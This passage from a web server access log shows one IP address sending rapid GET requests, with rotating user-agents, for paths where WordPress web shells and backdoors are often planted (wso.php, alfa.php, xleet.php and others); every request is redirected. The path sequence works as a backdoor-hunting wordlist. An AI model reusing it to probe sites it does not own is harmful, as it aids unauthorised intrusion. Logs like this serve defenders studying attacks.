[28/Feb/2026:03:11:52 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:11:52 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:53 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:53 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:53 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:53 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:53 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:54 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:11:54 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:54 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:54 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:54 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:55 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:55 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:55 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:55 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:56 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:56 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:56 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:11:56 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:56 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:57 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:57 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:57 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:57 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:57 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:58 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:58 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:58 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:58 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:59 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:59 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:00 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:00 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:00 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:01 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:01 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:01 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:01 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:02 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:12:02 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:12:02 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:02 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:02 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:03 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:03 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:03 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:03 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:04 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:04 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:04 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:04 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:04 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:05 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:12:05 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:12:05 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:05 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:06 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:06 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:12:06 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:06 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:07 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:07 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:12:07 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:07 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:08 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:12:08 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:08 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:08 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:12:08 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:09 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:09 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:09 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:09 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:09 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:12:10 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:10 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:10 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:10 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:11 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:12 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:12 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:12 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:12:12 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:12:12 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:13 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:13 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:13 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:13 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:13 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:12:14 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:14 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:14 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:12:14 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:15 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:15 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:15 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:15 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:15 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:16 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:12:16 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:12:16 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:12:16 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:17 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:17 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:17 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:12:17 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:18 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:12:18 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - 